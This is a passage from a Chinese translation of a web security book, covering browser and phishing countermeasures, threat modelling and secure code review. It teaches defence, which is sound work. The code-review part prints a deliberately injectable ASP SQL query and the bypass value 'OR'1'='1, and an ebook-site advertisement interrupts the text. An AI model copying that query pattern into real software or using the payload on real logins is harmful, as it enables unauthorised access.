攻击网上广告系统中的弱点是计算机犯罪中日益普遍采用的方法。其他网站如FoxNews.com已经被利用来进行相似的攻击。这种虚假防病毒广告的创建者使用可信的新闻网站对未起疑心的用户发动攻击。受害者输入信用卡信息购买这个虚假的软件，然后攻击者在资金存入之后，很可能转换方向，将受害者信用卡信息卖给其他犯罪分子，同时还安装一个后门、木马或者将受害者变成僵尸网络的一个节点。这是三倍的打击！

网络仿冒对策

互联网上充斥着关于如何避免和应对仿冒骗局的建议，这归功于这种骗局的迅速流行（很遗憾）。我们在“参考与延伸阅读”小节中列出我们认为最有帮助的资源。本小节提供对某些对抗仿冒的关键策略的简短概述。

最近兴起了一些新的网络服务，帮助最终用户识别仿冒骗局。例如，Microsoft、Google和其他主流搜索提供商在它们的索引中，对已经识别的潜在仿冒骗局或者包含恶意软件的网站做了标记。Mozilla Firefox也实现了一种内建的功能。这种已知危险网站的列表以防病毒软件更新病毒定义的相同方式保持最新。例如，使用Google进行搜索时，你可能注意到搜索结果中的链接之下有“这个网站可能危害你的计算机”这样的信息。如果你点击该链接，可能会看到一条警告信息，提示继续访问该网站的风险。Google使用一个恶意软件站点交易大厅（Badware clearinghouse）识别索引中潜在的危险站点。许多商业伙伴提交了已知的恶意软件宿主网站。关于这种信息收集方法的更多信息参见http://www.stopbadware.org。当浏览的Google结果包含已被识别为风险的危险内容时，用户可能看到下图的信息：

Internet Explorer、Firefox和Chrome使用相似的信息帮助阻止用户访问邪恶的网站。另一种可能拯救用户的技术是以普通文本格式阅读电子邮件，降低仿冒者关键工具之一——使用熟悉的品牌形象假扮真实的有效性。此外，普通文本电子邮件使你能明显地看到嵌入的欺诈超链接，因为它们在以普通文本查看时出现在尖括号中（<>）。例如，下面是以HTML查看时一般作为下划线蓝色嵌入文本的一个超链接：

Click here to go to our free gift site!

以普通文本查看时，这个链接带有尖括号，如：

Click here <http://www.somesite.com> to go to our free gift site!

为了对抗恶意IFRAME攻击，Web开发人员可以将一个名为X-FRAME-OPTIONS的HTTP响应首部和HTML页面一起发送，限制页面框架的使用。如果X-FRAME-OPTIONS包含DENY标志，当页面包含在一个框架中时，IE8将阻止页面显示。如果包含SAMEORIGIN标志，IE只在顶级浏览上下文与包含X-FRAME-OPTIONS指令的内容来源不同时才阻止显示。

最后一点（但不是最不重要的），我们建议在处理互联网上的所有事物，特别是主动提供的电子邮件时，采取一种明智的怀疑态度。我们的建议是永远不要点击主动提供的电子邮件中的超链接。如果你担心这种信息，打开一个新的浏览器，手工输入URI（例如，www.paypal.com），或者点击已知无害的收藏。还要确保在与其他网站交互之前，从银行、信用卡或者其他敏感数据存储中注销，以避免点击劫持。这种习惯不难保持，将会明显地减少受到仿冒攻击的可能性。

9.3　一般的对策

在多年对各种过去和未来的网上客户端安全挑战的研究和写作之后，我们编辑了如下的“获得更安全的互联网体验的10大步骤”，总结了本章中详细介绍的建议，加上一些通用的最佳实践：

1.部署一个个人防火墙，最好是能够管理出站连接企图。XP SP2及更新版本中更新过的Windows防火墙是一个好的选择。

2.保持所有相关的软件安全补丁最新。Windows用户应该配置Microsoft自动更新，减轻这个任务的负担。

3.运行自动扫描系统（特别是入站邮件附件）并且保持更新的防恶意软件程序。Microsoft提供阻止常见的基于Web漏洞利用攻击的免费AV软件包。请参见http://www.microsoft.com/security_essentials/。

4.安装最新版本的Internet Explorer，在Internet区域设置中有“重置所有区域为默认级别”设置。（不要使用Internet Explorer 6或者更早的版本）。

5.用最小权限运行。不要以管理员（或者等价的高权限账户）登录到用于浏览互联网或者阅读电子邮件的系统。尽可能使用减少权限的浏览器选项。

6.Windows系统的大型网络管理员应该在关键的网络瓶颈部署高级的技术（例如在基于主机的防火墙之外再添加基于网络的防火墙，邮件服务器上的防病毒软件等），更有效地保护大量用户。

7.用普通文本方式阅读电子邮件。

8.不要轻易受骗。用高度怀疑的态度对待互联网携带的请求和事务。不要点击来自不可信来源的电子邮件中的链接！

9.不要从不可信的网络如宾馆、机场、咖啡厅的Wi-Fi热点进行敏感的网上事务（如银行或者PayPal业务）。还要意识到，因为这些信息可能没有通过加密信道发送，所以要对这些网络上的电子邮件进行检查。

10.保证计算设备的物理安全。

本章结尾处的“参考与延伸阅读”小节中可以找到关于这些步骤的更多信息的链接。接下来，我们将对列表中在本章尚未作讨论的项目稍作展开讨论。

9.3.1　低权限浏览

主流的浏览器供应商慢慢地明白浏览器在许多场合下拥有的权限太大了，它们开始采取措施限制这些软件的特权，抵御难以避免的零日漏洞攻击。

Internet Explorer安全模式

Internet Explorer有一个从安全模式启动的选项。如果用户在附加程序上遇到了麻烦，可以选择启动|运行，输入iexplore-extoff，在禁用附加程序的情况下启动IE。这个选项可用于检测设计运行于其他浏览器版本的插件的兼容性问题。

Firefox安全模式

Firefox的安全模式是用于故障检查和调试的一个清洁模式。安全模式提供的缩水的功能也削减了产品的攻击面，因为可能有漏洞的扩展和主题都被禁用了。

以安全模式启动Firefox可以通过运行带有安全模式参数的Firefox可执行文件来完成。例如，在Windows上，你可以点击启动|运行，输入如下命令行：

"C:\Program Files\Mozilla Firefox\firefox.exe" -safe-mode

标准的Firefox安装程序也会创建一个Windows快捷方式图标，将这项工作简化为一个次单击。

警告　以安全模式启动Firefox时，你应该确定Firefox或Thunderbird没有在后台运行。Firefox 1.5及更新版本会弹出一个窗口，让你知道正在运行于安全模式。

ESC和保护模式IE

在Windows Server 2003和更新的服务器操作系统版本中，Microsoft默认部署的IE运行于增强安全配置（ESC）。这种极度受限的配置要求在访问任何网站时进行交互式的用户校验。实际上，用户必须手工将每个网站添加到信任区域，即使这些网站只需要一般的活动功能。虽然这种用户体验对于偶然的Web浏览来说无法接受，但是我们高度建议服务器使用这种模式，从策略上说，服务器上应该禁用Web和电子邮件浏览之类的活动。更多关于ESC的内容，包括使用组策略实施ESC的方法，请参见“参考与延伸阅读”小节。

对于最终用户，保护模式IE（PMIE，以前称做低权限IE，LoRIE）是IE7和更新版本的一个特性，利用了Windows Vista及其后续版本的“用户账户控制”（User Account Control，UAC）架构限制IE的默认权限。（UAC以前称为最小权限用户账户（Least-Privilege User Account，LUA））。PMIE使用UAC的强制完整性控制（Mandatory Integrity Control，MIC）功能，所以不能写入较高完整性的对象。实际上，这意味着PMIE只能写入给定用户的临时互联网文件（Temporary Internet Files，TIF）和Cookie文件夹。它不能写入其他文件夹（如%userprofile%或%systemroot%）、敏感注册表区域（如HKEY Local Machine或HKEY Current User），甚至其他较高完整性的进程。因此，PMIE为浏览不可信资源提供了一个很好的沙箱。在Vista和后续版本中，为浏览互联网、受限和本地机器区域默认配置了PMIE。在编写本书期间，Microsoft没有计划将PMIE随Vista之前的Windows版本（如XP SP2）交付，因为这个功能需要Vista UAC基础架构。这是放弃Windows XP的又一个好理由！

沙箱中的应用

除了保护模式IE外，技术界公认互联网使用中有效的预防手段是为其他应用运用沙箱。运行在真正的沙箱中时，恶意的脚本和下载似乎能成功运行，但是仅仅感染系统的一个模拟的副本。之后，这个沙箱可以抛弃，而不会对“真正”的宿主系统造成永久的影响。

Sandboxie是一个通用的计算机安全实用程序，在隔离的空间里运行你的程序，预防它们对计算机中的其他程序和数据造成永久的变更。Sandboxie源于其制作者遭到恶意软件感染而导致无法挽回损失的经历。如果在沙箱中的程序试图打开一个具有写入权限的文件，Sandboxie透明地将该文件复制到沙箱中，将所有访问重定向到这个副本而不是系统上的原始文件。这种概念扩展到系统的所有方面，例如注册表。试图作出更改的程序感觉到操作已经成功，而不知道修改的只是模拟的副本。在某种程度上，Sandboxie建立了真实系统的一个分支，为沙箱中运行的程序建立了一个隔离的视图。Sandboxie管理下列系统对象：文件、磁盘设备、注册表键值、进程和线程对象、驱动器对象和用于进程间通信的对象，例如命名管道和邮箱对象、事件、互斥体、信号量、分段和LPC端口。

Sandboxie的使用很简单：右键单击任何程序，选择Run Sandboxed。该程序将在一个包含Sandboxie的环境中启动。使用Sandboxie是比通过虚拟机（VM）浏览更好的恶意软件保护方案，因为不需要安装新操作系统、新的应用程序集合，也不需要维护主机器和辅助的虚拟机。使用独立的VM会占用系统的RAM。Sandboxie是透明的，大部分常见的可用性问题已经得以解决。例如，使用Sandboxie运行浏览器时，下载文件将导致一个“恢复”沙箱环境之外文件的提示。

Sandboxie是一个最为用户友好的、文档完备的、免费的Windows沙箱工具。免费版本在启动时会显示一个为时几秒的烦人的屏幕。付费则能让你得到终生在个人使用的任何机器上使用该工具的许可。Sandboxie已经存在了6年，有着成熟产品的感觉。只需要不多的学习，就能够得到可用性和保护的良好平衡。

从管理员的角度看，应用白名单的吸引力也正在增加。应用白名单根据中央定义的策略控制应用的运行许可。这种技术的例子包括McAfee的Application Control以及Microsoft的AppLocker。总体来说，这都是开关类型的策略实施工具，对最终用户体验可能有戏剧性的影响：所谓的动态白名单允许基于分类的授权，对用户可能更友好。

9.3.2　Firefox安全扩展

如果你的主要浏览器是Firefox，绝对应该使用如下扩展来保护自己：

·NoScript：只允许活动内容从你信任的网站上运行，具有内建的XSS和点击劫持攻击保护。

·AdBlock Plus：阻止不想要的广告（包括横幅、跟踪cookie、Flash覆盖）和其他恼人的、可能有危险的营销侵入者出现在你的页面上。

·QuickJava：允许快速和简单地从状态栏上禁用Java、JavaScript、Flash、Silverlight和图像。如果你访问具有不可信内容的网站，可能希望禁用这类插件，保护浏览器免受劫持。

关于安装这些扩展的更多信息，可以在https://addons.mozilla.org/en-US/firefox/extensions/privacy-security/找到。

9.3.3　ActiveX对策

在本章中，我们已经了解了ActiveX所交付的激动人心的功能，以及引人注目的受到滥用的黑暗面。用户应该使用Internet Explorer 8中的加载项管理器限制或者禁用ActiveX控件。加载项管理器可以用于更新、禁用、启用或者报告有问题的ActiveX控件，如图9-6所示。加载项一般很好用，但是有时候会降低计算机的速度，或者迫使Internet Explorer意外关闭。如果加载项构建质量不佳或者是为早期Internet Explorer版本创建的，就可能出现这种情况。在某些情况下，加载项可能跟踪你的网上冲浪习惯。因为有些加载项是在你不知情时安装的，所以首先要选择工具选项观察当前版本的Internet Explorer包含了哪些加载项，然后才能加以管理。

图9-6　Internet Explorer 8中的加载项管理器

从开发人员的角度看，不要编写可能在用户系统上执行特权操作的可安全执行脚本控件。我们还鼓励开发人员试一下SiteLock工具，这个工具没有得到Microsoft的授权或者支持，但是可以在http://www.microsoft.com/downloads/details.aspx?FamilyID=43cd7e1e-5719-45c0-88d9-ec9ea7fefbcb找到。SiteLock添加到你的构造环境时，SiteLock首部使ActiveX开发人员能够限制访问，这样控件只有在预先确定的域列表中才被认为是安全的。

最近，Microsoft开始“杀死”有潜在危险的ActiveX控件——为给定的控件设置所谓kill-bit。希望简单地将ActiveX控件失效而不是修补的软件开发人员可以采用这一过程。希望进行这一请求的第三方可以联络secure@microsoft.com。Microsoft现在实现了一个Phoenix bit来补充kill-bit，强迫浏览器在旧的控件需要更新时重定向到新的控件。这使得开发人员只要安装一个Phoenix bit将引用改为新的GUID，而不需要把旧的引用改成最新的ActiveX GUID。单个用户也可以手工设置单个控件的kill-bit，具体的技术在“参考与延伸阅读”小节中描述。

Errata Security在2008年发布了一个工具，帮助用户设置已知危险的ActiveX控件的kill-bit。该工具叫做AxBan，对Microsoft推荐的技术来说是较好的用户界面，包括了对注册表的人工编辑。AxBan提供给用户安装在系统上的已知ActiveX控件的列表，将已知的危险控件标记为红色，如图9-7中第三行所示。

图9-7　AxBan用于设置已知的不安全ActiveX控件的kill-bit

用户可以用AxBan很轻松地右键单击一个ActiveX控件将其禁用，或者一次单击就禁用所有ActiveX控件。AxBan可在http://portal.erratasec.com/axb/AxBan.exe下载。

9.3.4　服务器端对策

最后一个要点是，Web应用开发人员和管理员不应该忘记，他们有帮助推进客户端安全的义务。我们在本书中已经了解到，Web攻击越来越多地瞄准存在于服务器上的漏洞，但是最直接影响的是客户端。这种情况的重要例子包括跨站脚本（XSS）和HTTP响应分割，这在第6章中已经讨论过。第6章和第10章中讨论的服务器端输入校验技术都应该得以运用。

网站也应该提供清晰和易于理解的策略和教育资源，帮助用户对抗像仿冒这样的社会工程攻击。当然，也强烈建议这些策略在技术上的实施（我们在第4章中讨论了一些服务器端验证技术，如CAPTCHA和PassMark，用于缓解仿冒攻击）。

最后，Web应用开发人员和管理人员应该小心地考虑从用户那里收集的信息类型。“拥有客户关系”现在已经成为趋势，导致市场活动的增值，收集和存储尽可能多的在线消费者信息。特别有害的一种做法是，使用个人可识别信息（PII）作为保护在线身份的“秘密”（在互联网搜索的时代，考虑一下这样的信息实际上有多“秘密”）。当然，生意归生意，但是在我们的咨询经历中发现，并不是所有这种信息都是有用的（商人基本上只需要年龄、性别和邮政编码）。而且，如果因为安全漏洞而出现泄露，这将成为严重的商业责任。如果你从一开始就不收集敏感的数据，就不必担心为了保护它而带来的负担！

9.4　小结

现在，我们希望你确信你的浏览器确实是攻击者直接进入你的家庭和办公室的有效门户。遵循我们的“获得更安全的互联网体验的十大步骤”，在浏览的时候就会轻松一些。

9.5　参考与延伸阅读

第10章　企业Web应用安全计划

到目前为止，我们一般都是假定入侵者对所研究的Web应用具有的初始认识极少。当然，在现实世界中，安全评估常常是从对目标Web应用的大量了解和访问开始的，例如，Web开发测试团队在开发过程中，可能使用全知识方法（很容易得到应用信息和访问权）进行定期的应用安全审核，而在发行之后采用零知识评估（几乎没有应用信息或者访问权限）。

本章描述了理想的企业Web应用安全计划的关键方面。这个计划是从对产品及时间的安全改进感兴趣的企业Web应用开发团队或者技术安全审核部门的角度出发的（当然，本章概述的技术也可以用于进行“灰盒”安全审核——一种利用黑盒和白盒分析的最佳特性的混合方法）。我们还要介绍IT操作人员和管理人员感兴趣的一些过程和技术，这些过程和技术将本书介绍的评估方法自动化，使其成为可伸缩的、一致的过程，并提供相当的投资回报（ROI）。这种方法基于作者们作为大型企业安全管理人员和顾问的共同经验。本章的组织结构反映了全知识方法的主要组成部分：

·威胁建模

·代码评审

·安全测试

我们将用一些关于使用最佳实践将安全型集成到整个Web开发过程的想法来结束本章，这些最佳实践在领悟了安全性的组织中越来越常见。

10.1　威胁建模

顾名思义，威胁建模是系统地归纳应用相关的关键威胁，以便在发行应用之前有效地识别和缓解可能的安全弱点的过程。最简单的威胁建模形式可能是开发团队成员（需要时包括内部或者外部安全专家）之间讨论这些威胁及其缓解计划的一系列会议。

威胁建模最好在开发的需求和设计阶段采用，因为它的结果几乎总是会影响余下的开发进程（特别是编码和测试）。威胁模型应该在发布之前重新审核，并且关注任何重大的更新。图10-1展示了一个最优的威胁建模计划。根据实施威胁建模的主要软件公司的经验，威胁建模是改进Web应用安全所能采取的最关键步骤之一。

图10-1　对应假设的开发过程的一个威胁建模计划示例

软件应用威胁建模的详细过程在《The Security Development Lifecycle》（第9章）、《Writing Secure Code》第2版以及这个主题上具有深远影响的《Threat Modeling》中很好地进行了描述（更多的信息参见本章结尾处的“参考与延伸阅读”小节）。这种方法的基本组成部分如下（改编自上面提到的资源，并结合我们为咨询客户实施相似过程中的经验）：

·澄清安全目标，集中于威胁建模活动并且确定后续步骤所需要花费的精力。

·识别应用保护的资产（这对于识别每个资产的机密性、完整性、可用性以及审计日志（CIAA）需求也有帮助）。

·建立一个架构概要（这最起码要围绕一个数据流图（DFD），说明整个应用和相关系统中敏感信息的流向）。

·分解应用，特别要注意安全边界（例如，应用接口、权限使用、验证/授权模式、日志功能等）。

·识别和记录威胁。

·用一致性的模型（理想的是使用定量模型）排列威胁等级。

·为确信的严重威胁开发威胁缓解策略以及计划。

·根据达成共识的计划实施威胁缓解。

提示　Microsoft发布了一种威胁建模工具，可以从本章结尾处的“参考与延伸阅读”小节中提供的链接下载。

在这个小节中，我们将把这个基本的威胁建模方法用于一个示例Web应用——标准的网上书店购物车，以此来说明这种方法。这个购物车由前端的Web服务器和后端数据库服务器组成了两层架构。数据库服务器包括所有关于顾客和可供网上订购的货物；前端则提供了客户登录和订购商品的界面。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

10.1.1　澄清安全目标

尽管安全的目标似乎很明显，但是我们已经发现，安全目标的文档能够看出极其有用的威胁模型和普通模型之间的差别。确定精确的目标为行动定下了正确的调子：哪些在范围内，哪些在范围之外，哪些是优先的，哪些不是，必须做的和应该做的，以及最后最重要的“什么能帮助你在夜里睡个好觉。”我们还发现，这样的澄清为后续的步骤（例如，识别资产）打下了基础，因为威胁建模的新手往往有不切实际的安全预期，难以清楚地表达他们不要保护的部分。拥有一个可靠的安全目标列表确实有助于将一切限定在合理的范围之内。

10.1.2　识别资产

安全首先从理解你试图加固安全的部分开始。因此，威胁建模的基本步骤是清点应用资产。对于Web应用，这一活动通常很简单：我们的示例应用包含了有价值的东西如顾客信息（可能包含财务信息）、用户和管理密码以及业务逻辑。开发团队应该列出应用保护的有价值资产，按照敏感性排序。这种排名一般可以通过考虑失去每个资产的机密性、完整性或者可用性造成的影响来完成。资产清单应该在下一步中重新审核，确保架构概要和相关数据流图正确地考虑了每个资产的位置。

威胁建模人员常常忽略了一个细微之处：资产并不一定总是具体形式的固定物品。例如，Web应用的计算资源也可以看做最重要的资产（想想搜索应用）。而且，声誉或者品牌始终是无形的资产。尽管讨论品牌等无形资产可能由于这些资产价值的不可比性，而导致威胁建模团队成员之间无法解决的冲突，但是在威胁建模期间考虑无形资产的影响还是值得的。

10.1.3　架构概要

一幅图值一千句话，威胁建模也不例外。数据流图（DFD）有助于通过以具有视觉意义的形式建立应用模型确定安全威胁，是全知识方法与零知识方法相比的主要优势之一（因为零知识测试者不太可能看到详细的DFD）。我们通常发现对这种目的来说，至少必须有0层（概要）和1层（组件级）DFD。我们的假想购物车应用的0层和1层DFD如图10-2和图10-3所示。

图10-2　我们的假想购物车Web应用的0层DFD

图10-3　1层DFD

浏览器发送一个请求，用凭据登录到网站；凭据传递到后端数据库校验并且发送响应给Web服务器。Web服务器根据从数据库收到的响应，显示成功页面或者错误页面。如果请求成功，Web服务器还在客户端上设置一个新的Cookie值和会话ID。客户端接着可以再发起请求添加货物到购物车，或者更新其简档和结账。

10.1.4　分解应用

既然应用已经被分解为功能部件，下一步就是进一步分解应用，指出重要安全（或者新任）边界，包括用户和编程接口，权限使用，验证/授权模式、日志功能等。图10-4显示了我们的1层DFD，覆盖了相关的安全边界。所有虚线都是入口点。方框代表安全/信任边界。

10.1.5　识别和记录威胁

有了应用的图形表现，包括安全边界和入口点，我们现在就可以开始确定应用的所有威胁。威胁建模的最大难题是系统性和全面性，特别是在不断变化的技术和发展中的攻击方法中。没有一种技术能够声称识别复杂软件产品中所有可能的威胁，所以你必须依靠最佳实践来尽可能地接近100%，并利用好的判断力来确定何时达到收益递减点。

图10-4　1层DFD，带有信任边界和入口点

最简单的方法是查看应用DFD，创建威胁树或者威胁列表（更多关于攻击/威胁树的信息参见“参考与延伸阅读”小节）。另一种有用的机制是Microsoft的STRIDE模型：尝试对每个前面记入文档的资产进行欺骗、篡改、抵赖、信息泄露、拒绝服务和权限提升的头脑风暴。如果你在记录资产文档时考虑了机密性、完整性、可用性和审计日志（CIAA）需求，就已经成功了一半：你会注意到，STRIDE和CIAA协作得很好。

考虑所有已知的Web应用威胁也非常有用。内部或者外部安全人员有助于为威胁建模过程带来这种知识。此外，访问和查阅安全邮件列表如Bugtraq，以及安全网站如www.owasp.org也有助于创建威胁列表。Microsoft发布了常见Web应用安全威胁的“小抄本”和漏洞分类（相关链接参见本章结尾处的“参考与延伸阅读”小节）。当然，你所拥有的这本书也是确定常见Web安全威胁的一本相当好的参考书。

提示　在这个时候，不要浪费时间去确定这些威胁是否/如何缓解，那是以后的事情，试图在这个时候缓解威胁只会偏离轨道。

下面是购物车应用的示例威胁列表：

·验证

·暴力凭据猜测

·会话管理

·会话密钥可能容易猜测

·会话密钥不会过期

·没有实施安全Cookie

·攻击者能查看其他用户的购物车

·授权没有正确实施

·用户可能没有从共享PC上注销

·不恰当的输入校验

·SQL注入以绕开验证例程

·留言板可能遭到窃取凭据的跨站脚本（XSS）攻击

·错误信息

·显示冗长的SQL错误信息

·显示冗长的无效用户名/无效密码信息

·验证时详细的错误信息导致用户枚举

·网站没有实施SSL

·可能窃听敏感信息

10.1.6　威胁排名

尽管读者中的安全人员现在可能充满渴望，但是未经加工的威胁列表往往对时间和预算有限、按照时间表创建新（或者禁用不安全的）功能的软件开发人员没有什么帮助。因此，这时候采用系统的衡量标准，对威胁列表进行排名或者优先性的区分非常重要，这样你就可以有效地分配有限的资源，处理最严重的威胁。

安全风险的排名有许多衡量标准。经典而简单的一种风险量化方法由如下的公式表示：

风险=影响×可能性

这种衡量标准确实很容易理解，甚至加强了一个组织中业务和安全部门之前的协作。例如，业务影响的量化可能由首席财务官（CFO）承担，而可能性的估计可能由首席安全官（CSO）承担，CSO负责监督安全和业务持续性过程（Business Continuity Process，BCP）团队。

在这个系统中，影响通常以货币形式表现，可能性则取0到1之间的值。例如，一个具有100000美元影响的漏洞，可能性为30%，则危险等级为3万美元（$100，000×0.30）。这样的硬通货估算一般能够得到管理层的注意，加强了风险量化的实用性。这个公式可以进一步拆分，将影响分解为（资产×威胁），可能性分解为（漏洞×缓解措施）。

其他流行的风险量化方法包括信息风险因素分析（Factor Analysis of Information Risk，FAIR），这种方法与上述的模型相似，也是我们对这个重要任务的建议方法之一。通用安全漏洞评分系统（Common Vulnerability Scoring System，CVSS）提供了常见软件漏洞风险的一种创新的表现形式（我们确实喜欢这种组件化的方法，它用应用特有的时间和环境因素去影响基本的安全风险评分）。Microsoft的DREAD系统（破坏可能性、再现性、可利用性、受影响的用户和可恢复性），以及Microsoft安全响应中心在其安全公告的严重性评分中使用的简化系统是另外两种方法。所有这些系统的更多信息都可以在本章结尾处的“参考与延伸阅读”小节中找到。

我们鼓励你对这些方法进行增补，确定哪一种方法适合你以及你的组织。你甚至可以根据从每种方法中得到的概念或者从头开始开发自己的方法。风险量化受到感知能力的很大影响，即使你的团队人数不多，你也不可能找到一种获得一致同意的系统。只要记住重要的一点：长时间一致地采用你所选择的系统，这样相对的威胁等级就会一致。这就是目标——确定哪个威胁优先处理。

我们还发现，设置一个风险级别阈值（或称“故障门槛”）是很有益的，在这个级别以上的威胁必须得到缓解。在完成排名过程之前，这个阈值必须得到广泛的一致意见。故障门槛保持不同发行版本中的一致性，防止简单地变动阈值与系统进行博弈。（这也更有可能找出故意设置低于故障门槛的分数而进入系统的人）。

10.1.7　开发威胁缓解策略

在威胁建模过程的这个阶段，我们已经生成了购物车应用的一个威胁列表，并按照对应用/业务的风险排名。现在是为最高等级的威胁（也就是超过公认的威胁阈值的威胁）开发缓解策略的时候了。

提示　只要你有时间，可以为所有威胁建立缓解策略；实际上，对较低风险的威胁实施的缓解措施花费的精力很少。要有好的判断力。

威胁/风险缓解策略对应用可能是唯一的，但是它们可以分成通用的类别。同样，我们引用Microsoft的Web应用安全框架的“小抄本”将缓解策略划分为对应常见攻击技术的类别。一般来说，缓解措施显而易见：消除（或者限制影响）威胁所利用的漏洞，使用常见的预防和检测措施，以及灵敏的安全控制（例如验证、加密和入侵检测）。

提示　不是所有威胁在下一个版本中都必须得以缓解；有些威胁需要通过长期的不同迭代版本，随着应用技术和架构的更新，才能更好地加以处理。

例如，在我们虚构的购物车应用中，对验证系统的“暴力凭据猜测”威胁可以使用CAPTCHA技术缓解，在6次失败的尝试之后，要求用户手工输入登录界面中提供的CAPTCHA图像显示的信息（关于CAPTCHA的更多信息参见第4章）。（显然，对失败尝试的任何跟踪应该在服务器端进行，因为客户提供的会话数据不受信任；在这个例子中，在每次验证质询中显示CAPTCHA可能更有效）。另一个选项是增加失败登录尝试之间的延时，降低自动攻击发生的速度；这种技术还有附加的好处，可以缓解受到攻击的服务器的负载问题。这两种技术的使用反映了随时改进应用威胁模型以及对新的安全威胁保持跟踪的重要性。

显然，威胁缓解策略不应该仅仅帮助你的组织缓解威胁，还应该预防因疏忽造成的新威胁。常见的例子是设置账户锁定阈值为6，在6次尝试之后禁用该账户。这样的功能可以用于缓解密码猜测威胁。但是，如果攻击者能够猜测或者得到有效的用户名（考虑一下金融机构的账户，其特性就是简单的递增），他们可能自动化密码猜测攻击，很简单地给应用的所有用户造成拒绝服务（DoS）的情况。这样的攻击也可能使支持人员被请求账户重置的电话所淹没。

实现账户超时而非锁定是更好的解决方案。在失败尝试达到阈值后，账户被临时禁用（比如30分钟）而不是完全禁用。将这种账户超时方法与CAPTCHA质询结合将进一步缓解威胁。当然，这些机制对可用性都有影响，应该在现实场景中进行测试，才能更完整地理解安全控制带来的不可避免的妥协。

最后，考虑威胁缓解时不要忘记现成的组件。下面是一些当前可用于Web应用的显而易见的威胁缓解技术实例：

·许多Web和应用服务器自带预先打包的通用错误信息页面，提供给攻击者较少的信息。

·平台扩展如UrlScan和ModSecurity提供HTTP输入过滤“防火墙”。

·开发框架如ASP.NET和Apache Struts（Java EE）提供公告牌授权和输入校验例程。

10.2　代码评审

代码评审是全知识分析的另一个重要方面，应该始终在应用最关键的部件上进行。确定“关键”的部件通常由威胁建模活动驱动：任何具有等级在阈值之上威胁的部件都应该进行源代码评审。这同时是威胁建模推动后续安全开发工作的一个绝佳的示例。

本小节介绍如何识别Web应用中可能存在的基本代码级问题，围绕代码评审的关键方法进行组织：人工、自动和二进制分析。

10.2.1　人工源代码评审

人工代码评审（由胜任的评审人员进行）仍然被认为是对安全最有好处的。但是，逐行地对大型应用的整个代码库进行人工评审是非常费时的，需要高技能的人力资源才能正确进行。这种方法的成本自然比用自动化工具扫描应用更高。如果资源有限，人工代码评审最好只在应用最关键的组件上进行。

提示　在检查代码之前，依靠开发团队自身（假定团队成员都是训练有素的）对各自的工作进行对等的代码评审可以作为增加人工代码评审覆盖面的补充方法。

我们前面已经提到过，“关键”最好在威胁建模过程中（从DFD中应该相当明显地看出来）定义。一些经典的人工代码评审关键点包括：

·直接接收或者处理用户输入的任何模块，特别是数据净化例程和与网络或者数据存储接口的模块。

·验证组件

·授权/会话管理

·管理/用户管理

·错误和异常处理

·加密组件

·以过度的权限/跨越多个安全上下文运行的代码

·可能受到流氓软件调试或者篡改的客户端代码

·历史上有过漏洞的代码

人工代码评审过程在其他资源中已经有了大量文档。我们最喜欢的一些在本章结尾处的“参考与延伸阅读”小节里列出。接下来，我们将讨论一些代码评审中出现的常见Web应用安全问题的示例。

代码评审识别的常见安全问题

代码评审可以识别出许多影响安全的问题。在这个小节中，我们将提供与Web应用关系最密切的一些示例，包括：

·低质量的输入处理

·低质量的SQL语句构成

·在代码中存储机密

·低质量的授权/会话管理

·在生产版本中遗留测试代码

低质量输入处理示例：我们最喜欢反复重申的安全编码原则之一是“接收到的所有输入在被证明为清白之前应该作为恶意输入对待。”在Web应用中，要考虑的关键输入包括：

·从客户端接收的所有数据

·SQL语句或者存储过程接收的数据

·来自不可信来源的所有数据

在本书中我们已经看到，不能实施围绕这些数据的正确输入校验和输出编码例程会造成应用中毁灭性的安全漏洞。下面是在代码级别识别这些问题的方法的一些示例。

在前面的威胁建模的讨论中提供的购物车示例中，如果从客户端接收的用户名没有进行编码并且回显给客户端（一般在用户登录之后回显），在用户名域就可能进行一次XSS攻击。如果用户名没有进行编码并且传递给SQL，就可能产生SQL注入。因为许多Web数据用表单收集，代码中第一个要识别的就是输入页面中的<form>标记。然后，你就可以识别数据的处理方式。我们列出了一些应用服务器填写的HttpRequest ASP.NET对象属性，这样请求信息可以由Web应用编程访问：

·HttpRequest.Cookies

·HttpRequest.Form

·HttpRequest.Params

·HttpRequest.QueryString

一般来说，输入和输出应该进行净化。净化例程应该在代码评审期间仔细检查，因为开发人员在实现了某种校验或者需要接收广泛的输入时，会假定自己对输入攻击完全免疫。我们在第6章中深入讨论了输入校验对策，下面是输入校验例程中应该查找的一些常见示例：

·用“白名单”代替“黑名单”（黑名单容易被击垮——预测所有恶意输入实际上是不尽可能的）。

·对于用Java编写的应用，常常使用Java内建的正则表达式类（java.util.regex.*）或者Apache Struts框架的Validator插件。除非你的应用已经使用了Struts框架，否则我们建议坚持使用java.util.regex类。

·.NET提供正则表达式类进行输入校验（System.Text.RegularExpressions）。.NET框架也有Validator控件，提供与Struts框架的Validator插件等价的功能。这个控件的属性允许你配置输入校验。

下面是一个用ASP.NET框架中的Validator控件组的RegularExpressionValidator控件检查电子邮件地址的一个例子：

E-mail: <asp:textbox id = "textbox1" runat="server"/>
<asp:RegularExpressionValidator id = "valRegEx" runat="server"
    ControlToValidate = "textbox1"
    ValidationExpression = ".*@.*\..*"
    ErrorMessage = "* Your entry is not a valid e-mail address."
    display = "dynamic">*
</asp:RegularExpressionValidator>

代码中输入校验问题的一些好例子在第6章中加以阐述。

低质量的SQL语句构成示例：在第7章中你已经看到，SQL语句是大部分Web应用的关键。编写不恰当的动态SQL语句可能导致对应用的SQL注入攻击。例如，在下面列出的select语句中，没有进行校验（输入或者输出）。攻击者可以简单地在密码域中注入'OR'1'='1（使SQL条件语句为真）获得应用的访问权。

<%
strQuery = "SELECT custid, last, first, mi, addy, city, state, zip
FROM customer
WHERE username = '" & strUser & "' AND password = '" & strPass & "'"
Set rsCust = connCW.Execute(strQuery)
If Not rsCust.BOF And Not rsCust.EOF Then
Do While NOT rsCust.EOF %>
<TR> <TD> <cTypeface:Bold>Cust ID :</B> <% = rsCust("CUSTID") %></TR> </TD>
<TR> <TD> <cTypeface:Bold> First </B><% = rsCust("First") %> <% =
rsCust("MI") %>
<cTypeface:Bold> Last Name</B> <% = rsCust("Last") %> </TR></TD>
<% rsCust.MoveNext %>
<% Loop %>

在存储过程中使用exec()也可能导致SQL注入攻击，因为'OR'1'='1仍然可以对存储过程进行SQL注入攻击，如：

CREATE PROCEDURE GetInfo (@Username VARCHAR(100))
AS
